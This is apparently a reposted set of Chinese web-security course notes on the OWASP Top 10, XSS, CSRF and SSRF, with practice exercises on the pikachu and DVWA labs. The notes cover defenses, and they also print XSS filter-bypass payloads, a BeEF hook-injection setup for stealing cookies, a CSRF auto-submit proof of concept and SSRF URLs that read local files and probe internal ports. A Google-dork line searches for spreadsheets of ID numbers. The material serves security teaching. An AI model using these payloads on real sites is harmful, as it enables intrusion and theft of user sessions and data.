OWASP TOP10

OWASP TOP10

OWASP网址:http://ww.owasp.org.cn

A01:失效的访问控制

例如:越权漏洞

案例1:

正常:每个人登录教务系统,只能查询自己的成绩信息

漏洞:张三登录后可以查看自己的成绩  例如:score?stuno=231011;如果张三输入了李四的学号,竟然可已查询李四的成绩 。。   这就属于越权漏洞、也属于失效的访问控制

案例2:

某些文库网站,要想下载相应的文章需要支付费用,我支付并下载了文章1,url=download?article=23123:通过遍历或其他方式获取了文章2的编号、修改url,可以再不支付的情况下,下载文章2.  。 。    这也输入越权漏洞、也属于失效的访问控制

A02:加密机制失效(敏感信息泄露)

2017年类别名称是敏感信息泄露、以漏洞产生的后果命名;2021年以漏洞产生的原因命名

为加密机制失效

案例1:

使用google hacking语法进行敏感信息收集。   除了google以外,一些常见的搜索引擎包括必应、百度也支持google hacking语法

filetype:xls 身份证号

 

A03:注入

SQL注入、XSS(JS代码)注入、命令注入、代码注入等

A04:不安全设计(2021新漏洞类别)

一个软件项目的生命周期:

需求分析->项目设计->项目实现->项目测试->维护上线->代码审计

安全左移

A05:安全配置错误(合并)

2021的类别包含了2017年的XXE漏洞

A06:自带缺陷和过时的组件(使用含有已知漏洞的组件)

案例1:

很多博客网站,都为注册用户提供了发表文章的功能。其中编写文章内容时,都会使用编辑器组件,方便文章内容的编写,如果网站本身没有漏洞,但是编辑器插件有漏洞,也会给网站带来安全风险

A07:身份识别和身份验证错误(失效的身份认证)

例如:弱口令属于这类漏洞

A08:软件和数据完整性故障(不安全的反序列化)

A09:安全日志和监控故障(不足的日志记录和监控)

A10:SSRF服务器端请求伪造(2021新漏洞类别)

XSS跨站脚本

XSS介绍
XSS分类

持久型也称为存储型

反射型XSS攻击原理

反射型XSS实例

url是get传参

运行结果
基于pikachu靶场的反射性XSS实验

F12,修改文本框长度

在文本框输入:<script>alert(1)</script> ,只要有弹框效果的出现,就说明有XSS漏洞

反射型XSS常见功能点

产品、新闻等搜索框功能,有可能存在反射型XSS

反射型XSS:真实案例:搜索结果"" >> 西安夏溪电子科技有限公司

在文本框输入:<script>alert(1)</script> ,只要有弹框效果的出现,就说明有XSS漏洞

持久型(存储型)XSS攻击原理
持久型XSS概念

持久型XSS实例
结果

持久型XSS常见功能点

逢框必X 只要有输入框,就有可能有XSS漏洞

发表文章、文章评论

商品评价、回复

用餐评价

DOM型XSS原理

DOM型XSS概念

DOM型XSS实例

DVWA账号admin 密码password

弹窗意味着存在该类型漏洞

恶意数据:payload     <script>alert(1)</script>

DOM型XSS常见功能点

只要在前端页面中使用了参数,都可能导致DOM型XSS。

反射型XSS和DOM型XSS的对比
不同点:

反射型XSS的恶意参数会发送给服务器,并通过服务器反射回浏览器

DOM型XSS的恶意参数不会发送给服务器,直接被页面的JS代码使用;

相同点:

两者漏洞利用(攻击)步骤相同。都是先构造恶意链接发送给受害者,引诱受害者点击

payload

为了验证或者测试漏洞利用所写的特殊数据,有时称为payload

<script>alert(1)</script>

以反射型XSS为例,DVWA靶场不同安全等级
Low:

payload   :  <script>alert(1)</script>

Medium:

 过滤代码:$name = str_replace( '<script>', '', $_GET[ 'name' ] );

输入的$name,如果有<script>就替换成

str_replace()  字符串替换函数

针对这个限制,我们采用大小写绕过,因为HTML标签不区分大小写

payload  :   <SCRIPT>alert(1)</SCRIPT>

High:

 过滤代码:$name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $_GET[ 'name' ] );

无论script哪个字母是大写或小写,都会被替换成空

preg_replace()正则替换

payload  :   <img src=1  οnerrοr=alert(1)>

故意把路径格式写错,则执行alert(1)

Impossible:

BeEF-XSS攻击实战
BeEF介绍
BeFF原理

BeFF功能介绍

在kali中安装BeFF
  1. apt-get update
  1. 执行apt-get install ruby,先安装ruby,beEF是基于ruby语言开发的

apt-get install ruby

  1. 执行apt-get install beef-xss命令,安装BeEF。

apt-get install beef-xss

4、输入beef-xss命令,启动BeEF

输入一个密码,例如123456后,回车

攻击目标浏览器

将代码<script src="http://192.168.10.224:3000/hook.js"></script>  写入有xss漏洞的服务器

  1. cookie获取
  2. 浏览器劫持
3)钓鱼

XSS攻击的防御
  1. 输入端过滤

使用preg_replace()对特殊字符进行限制

2)输出端过滤

$name = htmlspecialchars($name);    将特殊字符<>做html实体编码转换

  1. Http only

在前端不允许使用js读取cookie数据

CSRF跨站请求伪造

CSRF介绍

CSRF攻击流程

sessionid(用户信息)向服务器提交是自动的,不需要代码实现

基于pikachu靶场的CSRF实例
1)CSRF---GET

抓取点击submit时的数据包

2)CSRF---POST
3)CSRF_token

Token值每次刷新都不一样,安全性高

快速生成CSRF--POC脚本

<script>

window.οnlοad=function(){

document.getElementById("postsubmit").click();

}

</script>

得到一个结论,从用户角度,操作完之后一定退出登录,再操作其他网站,就可以避免CSRF攻击

但是:从开发者角度出发,即使用户不退出登录,我们也应该对CSRF攻击进行防御,引入CSRFtoken

CSRF防御实例
1)引入CSRF_token(一次性,随机性)

2)REFERER属性

Referer校验,比对HOST地址与数据包发出的地址,如果不同则无法执行后续修改密码的操作

检查数据包中的Referer的值,是否与当前url来自同一个网站

3)曾用密码确认
  1. 短信邮件确认
CSRF与XSS的区别

利用XSS漏洞可以拿到cookie的数据(sessionid)但是利用CSRF漏洞只是借用了cookie的数据,无法获取cookie的数据(sessionid)

XSS漏洞比CSRF漏洞更危险。甚至对安全要求不严格的网站,会忽略CSRF漏洞

SSRF服务器端请求伪造

SSRF概念

SSRF攻击流程

SSRF场景

都包含url参数

SSRF相关的PHP函数
1)cur_exec()--执行curl命令

Curl是一个工具,工具的功能非常强大,可以完成文件的上传和下载、html页面的访问,同时还支持很多的协议

2)file_get_contents()函数

读取通过参数指定的文件的内容

SSRF危害
SSRF   curl漏洞利用
  1. 正常访问外网

参数是百度的网址

http://127.0.0.1/pikachu/pikachu/vul/ssrf/ssrf_curl.php?url=http://www.baidu.com

参数是淘宝的网址

http://127.0.0.1/pikachu/pikachu/vul/ssrf/ssrf_curl.php?url=http://www.taobao.com

参数是京东的网址

http://127.0.0.1/pikachu/pikachu/vul/ssrf/ssrf_curl.php?url=http://www.jd.com

  1. 漏洞利用

参数是windows配置文件

http://127.0.0.1/pikachu/pikachu/vul/ssrf/ssrf_curl.php?url=file:///c:/windows/win.ini

参数是内网服务器

http://127.0.0.1/pikachu/pikachu/vul/ssrf/ssrf_curl.php?url=http://192.168.10.143

  1. 探测内网服务器端口/服务信息

21、22、80、3306返回了对应的服务信息、表示端口开放

http://127.0.0.1/pikachu/pikachu/vul/ssrf/ssrf_curl.php?url=dict://192.168.10.143:21

http://127.0.0.1/pikachu/pikachu/vul/ssrf/ssrf_curl.php?url=dict://192.168.10.143:2

http://127.0.0.1/pikachu/pikachu/vul/ssrf/ssrf_curl.php?url=dict://192.168.10.143:80

http://127.0.0.1/pikachu/pikachu/vul/ssrf/ssrf_curl.php?url=dict://192.168.10.143:3306

6379端口探测没有返回任何信息,表示端口未开放

http://127.0.0.1/pikachu/pikachu/vul/ssrf/ssrf_curl.php?url=dict://192.168.10.143:6379

结合burpsuite去探测端口

SSRF   curl漏洞利用
1)正常访问外网

读取百度首页

http://127.0.0.1/pikachu/pikachu/vul/ssrf/ssrf_fgc.php?file=http://www.baidu.com

2)漏洞利用

读取windows的配置文件

http://127.0.0.1/pikachu/pikachu/vul/ssrf/ssrf_fgc.php?file=c:/windows/win.ini

读取探针文件,返回服务器信息

http://127.0.0.1/pikachu/pikachu/vul/ssrf/ssrf_fgc.php?file=http://127.0.0.1/phpinfo.php

3)读取php源码(只读)

http://127.0.0.1/pikachu/pikachu/vul/ssrf/ssrf_fgc.php

?file=php://filter/read=convert.base64-encode/resource=../../inc/config.inc.php

  php伪协议 ../上层路径

base64是编解码  不是加解密

读到的是base64编码后的文件

PD9waHAKLy/lhajlsYBzZXNzaW9uX3N0YXJ0CnNlc3Npb25fc3RhcnQoKTsKLy/lhajlsYDlsYXorr7nva7ml7bljLoKZGF0ZV9kZWZhdWx0X3RpbWV6b25lX3NldCgnQXNpYS9TaGFuZ2hhaScpOwovL+WFqOWxgOiuvue9rum7mOiupOWtl+espgpoZWFkZXIoJ0NvbnRlbnQtdHlwZTp0ZXh0L2h0bWw7Y2hhcnNldD11dGYtOCcpOwovL+WumuS5ieaVsOaNruW6k+i/nuaOpeWPguaVsApkZWZpbmUoJ0RCSE9TVCcsICcxMjcuMC4wLjEnKTsvL+WwhmxvY2FsaG9zdOaIluiAhTEyNy4wLjAuMeS/ruaUueS4uuaVsOaNruW6k+acjeWKoeWZqOeahOWcsOWdgApkZWZpbmUoJ0RCVVNFUicsICdyb290Jyk7Ly/lsIZyb2905L+u5pS55Li66L+e5o6lbXlzcWznmoTnlKjmiLflkI0KZGVmaW5lKCdEQlBXJywgJ3Jvb3QnKTsvL+WwhnJvb3Tkv67mlLnkuLrov57mjqVteXNxbOeahOWvhuegge+8jOWmguaenOaUueS6hui/mOaYr+i/nuaOpeS4jeS4iu+8jOivt+WFiOaJi+WKqOi/nuaOpeS4i+S9oOeahOaVsOaNruW6k++8jOehruS/neaVsOaNruW6k+acjeWKoeayoemXrumimOWcqOivtO+8gQpkZWZpbmUoJ0RCTkFNRScsICdwaWthY2h1Jyk7Ly/oh6rlrprkuYnvvIzlu7rorq7kuI3kv67mlLkKZGVmaW5lKCdEQlBPUlQnLCAnMzMwNicpOy8v5bCGMzMwNuS/ruaUueS4um15c3Fs55qE6L+e5o6l56uv5Y+j77yM6buY6K6kdGNwMzMwNgoKPz4K

解码

<?php

//全局session_start

session_start();

//全局居设置时区

date_default_timezone_set('Asia/Shanghai');

//全局设置默认字符

header('Content-type:text/html;charset=utf-8');

//定义数æ®åº“连接å‚æ•°

define('DBHOST', '127.0.0.1');//å°†localhost或者127.0.0.1修改为数æ®åº“æœåŠ¡å™¨çš„地å€

define('DBUSER', 'root');//å°†root修改为连接mysql的用户å

define('DBPW', 'root');//å°†root修改为连接mysql的密ç ï¼Œå¦‚果改了还是连接ä¸ä¸Šï¼Œè¯·å…ˆæ‰‹åŠ¨è¿žæŽ¥ä¸‹ä½ çš„æ•°æ®åº“,确ä¿æ•°æ®åº“æœåŠ¡æ²¡é—®é¢˜åœ¨è¯´ï¼

define('DBNAME', 'pikachu');//自定义,建议ä¸ä¿®æ”¹

define('DBPORT', '3306');//å°†3306修改为mysql的连接端å£ï¼Œé»˜è®¤tcp3306

?>

SSRF漏洞利用实战

SSRF防御
1)禁用不需要的协议

例如仅允许http和https请求

    // 1、初始化

    $CH = curl_init($URL);

    // 2、设置选项

    curl_setopt($CH, CURLOPT_HEADER, FALSE);

    curl_setopt($CH, CURLOPT_SSL_VERIFYPEER, FALSE);

    // 2.2限制只能使用HTTP/HTTPS协议

    curl_setopt($CH,CURLOPT_PROTOCOLS,CURLPROTO_HTTP|CURLPROTO_HTTPS);

    // 3、执行命令

    $RES = curl_exec($CH);

    curl_close($CH) ;

2)对参数使用黑名单或白名单

// 白名单

    if($URL!="http://127.0.0.1/pikachu/vul/ssrf/ssrf_info/info1.php"){

        // 结束程序

        die("禁止访问");

    }

3)限制请求端口

乌云镜像链接

乌云网镜像丨乌云知识库丨Wooyun镜像丨乌云漏洞平台

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/680950.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

智胜未来,新时代IT技术人风口攻略-第一版(弃稿)

文章目录 抛砖引玉 鸿蒙生态小科普焦虑之下 理想要落到实处校园鼎力 鸿蒙发展不可挡培训入场 机构急于吃红利企业布局 鸿蒙应用规划动智胜未来 技术人风口来临 鸿蒙已经成为行业的焦点&#xff0c;未来的发展潜力无限。作为一名程序员兼UP主&#xff0c;我非常荣幸地接受了邀请…

基于JAVA的贫困地区人口信息管理系统 开源项目

目录 一、摘要1.1 项目介绍1.2 项目录屏 二、功能模块2.1 人口信息管理模块2.2 精准扶贫管理模块2.3 特殊群体管理模块2.4 案件信息管理模块2.5 物资补助模块 三、系统设计3.1 用例设计3.2 数据库设计3.2.1 人口表3.2.2 扶贫表3.2.3 特殊群体表3.2.4 案件表3.2.5 物资补助表 四…

【Java程序设计】【C00251】基于Springboot的医院信息管理系统(有论文)

基于Springboot的医院信息管理系统&#xff08;有论文&#xff09; 项目简介项目获取开发环境项目技术运行截图 项目简介 这是一个基于Springboot的医院信管系统 本系统分为管理员功能模块、系统功能模块以及医生功能模块。 系统功能模块&#xff1a;医院信管系统&#xff0c;…

161基于matlab的快速谱峭度方法

基于matlab的快速谱峭度方法&#xff0c;选择信号峭度最大的频段进行滤波&#xff0c;对滤波好信号进行包络谱分析。输出快速谱峭度及包络谱结果。程序已调通&#xff0c;可直接运行。 161 信号处理 快速谱峭度 包络谱分析 (xiaohongshu.com)

C++初阶之类与对象(中)——六个默认函数详细解析

个人主页&#xff1a;点我进入主页 专栏分类&#xff1a;C语言初阶 C语言进阶 数据结构初阶 Linux C初阶 欢迎大家点赞&#xff0c;评论&#xff0c;收藏。 一起努力&#xff0c;一起奔赴大厂 目录 一.前言 二.构造函数 2.1构造函数的语法和特性 2.1.1语法 2.…

Blender教程(基础)-顶点合并-18

一、常规合并 准备&#xff0c;新建一个圆环8个点、全选顶点采用F填充&#xff0c;采用J链接多个顶点如下图所示图形。 选择其中一个顶点 按字母GG、移动到离另外一个顶点更近。再选中两个顶点&#xff0c;右键弹出合并顶点>到中心 二、重叠合并 回退回去 按字母G…

LocalAI 部署(主要针对 mac m2 启动)

LocalAI 部署 介绍 LocalAI 是免费的开源 OpenAI 替代方案。 LocalAI 充当 REST API 的直接替代品&#xff0c;与本地推理的 OpenAI API 规范兼容。 它无需 GPU&#xff0c;还有多种用途集成&#xff0c;允许您使用消费级硬件在本地或本地运行 LLM、生成图像、音频等等&#…

第二节:轻松玩转书生·浦语大模型趣味Demo

参考教程&#xff1a;https://github.com/InternLM/tutorial/blob/main/helloworld/hello_world.md InternLM-Chat-7B 智能对话 Demo 终端运行 web demo 运行 1.首先启动服务&#xff1a; cd /root/code/InternLM streamlit run web_demo.py --server.address 127.0.0.1 --…

普京警告:美元大衰落

来源&#xff1a;Bitcoin.com 编译/作者&#xff1a;秦晋 美元不仅是全球储备货币&#xff0c;也是美国用来维护全球权力的重要武器。甚至还是衡量比特币市值与价格的重要指标之一。比特币富豪的财富指标某种程度上也是通过美元多少来进行衡量的。 2月9日&#xff0c;俄罗斯总统…

(免费领源码)java+SSM+mysql 大学食堂订餐系统APP 75418-计算机毕业设计项目选题推荐

摘 要 本论文主要论述了如何使用SSM框架开发一个大学食堂订餐系统APP&#xff0c;将严格按照软件开发流程进行各个阶段的工作&#xff0c;面向对象编程思想进行项目开发。在引言中&#xff0c;作者将论述大学食堂订餐系统APP的当前背景以及系统开发的目的&#xff0c;后续章节将…

一、Docker部署MySQL

Docker部署MySQL 一、安装Docker二、拉取MySQL镜像1.选择拉取版本2.拉取镜像 三、启动MySQL1.确定好挂载目录2.启动3.查看是否启动4.开启远程访问权限 一、安装Docker 安装教程&#xff1a;https://qingsi.blog.csdn.net/article/details/131270071 二、拉取MySQL镜像 1.选择…

双指针练习题复写零

复写零 给你一个长度固定的整数数组 arr &#xff0c;请你将该数组中出现的每个零都复写一遍&#xff0c;并将其余的元素向右平移。 注意&#xff1a;请不要在超过该数组长度的位置写入元素。请对输入的数组 就地 进行上述修改&#xff0c;不要从函数返回任何东西。 示例 1&…

【JavaEE进阶】 利用Spring简单实现加法计算器和用户登录

文章目录 &#x1f38d;序言&#x1f333;加法计算器&#x1f6a9;准备工作&#x1f6a9;约定前后端交互接⼝&#x1f332;后端服务器代码的书写 &#x1f334;用户登录&#x1f6a9;效果展示&#x1f6a9;准备工作&#x1f6a9;约定前后端交互接⼝&#x1f388;需求分析&#…

JavaI/O流 File类(目录)

目录 File类目录操作实例 File类目录操作 Java的File类提供了对文件和目录进行操作的方法。对于目录&#xff0c;File类提供了以下一些方法&#xff1a; 判断目录是否存在&#xff1a;使用exists()方法可以判断目录是否存在。创建目录&#xff1a;使用mkdir()或mkdirs()方法可…

16 贪吃蛇

目录 游戏背景游戏效果展示基本功能技术要点WIN32 API介绍设计与分析实现参考代码 1. 游戏背景 贪吃蛇是久负盛名的游戏&#xff0c;是一款经典游戏 2. 效果展示 3. 基本功能 使用c语言在windows环境的控制台模拟实现小游戏贪吃蛇 基本的功能&#xff1a; 地图绘制吃食物上…

MIT-Missing Semester_Topic 3:Editors (Vim) 练习题

文章目录 练习一练习二练习三练习四练习五练习六练习七练习八 本 Topic 的 MIT 讲解网页&#xff08;练习题未给解答&#xff09; 练习一 自行完成 vimtutor。vimtutor 是 Vim 本身附带的一个入门教程&#xff0c;在 shell 中直接输入 vimtutor 便能运行。注意该教程在 8024 大…

【小沐学GIS】基于C++QT绘制三维数字地球Earth(OpenGL)

&#x1f37a;三维数字地球系列相关文章如下&#x1f37a;&#xff1a;1【小沐学GIS】基于C绘制三维数字地球Earth&#xff08;456:OpenGL、glfw、glut&#xff09;第一期2【小沐学GIS】基于C绘制三维数字地球Earth&#xff08;456:OpenGL、glfw、glut&#xff09;第二期3【小沐…

QT:实现图片选择器

一、效果图 二、用到的类 qApp&#xff1a;可以快速获取到项目目录位置。 QSettings &#xff1a;编写config文件&#xff0c;记录上次打开图片的位置&#xff0c;下次打开图片会从上次的位置查找图片。 QPixmap&#xff1a;用于图片的缩放&#xff0c;防止图片过小&#xff0…

DVWA靶场下载安装

DVWA介绍 DVWA 一共包含了十个攻击模块&#xff0c;分别是:Brute Force(暴力破解)、Command Injection(命令行注入)、CSRF(跨站请求伪造)、File Inclusion(文件包含)、File Upload(文件上传)、Insecure CAPTCHA (不安全的验证码)、SQL Injection(SQL注入)、SQL Injection Blin…

【Java程序设计】【C00249】基于Springboot的私人健身与教练预约管理系统(有论文)

基于Springboot的私人健身与教练预约管理系统&#xff08;有论文&#xff09; 项目简介项目获取开发环境项目技术运行截图 项目简介 这是一个基于Springboot的私人健身与教练预约管理系统 本系统分为系统功能模块、管理员功能模块、教练功能模块以及用户功能模块。 系统功能模…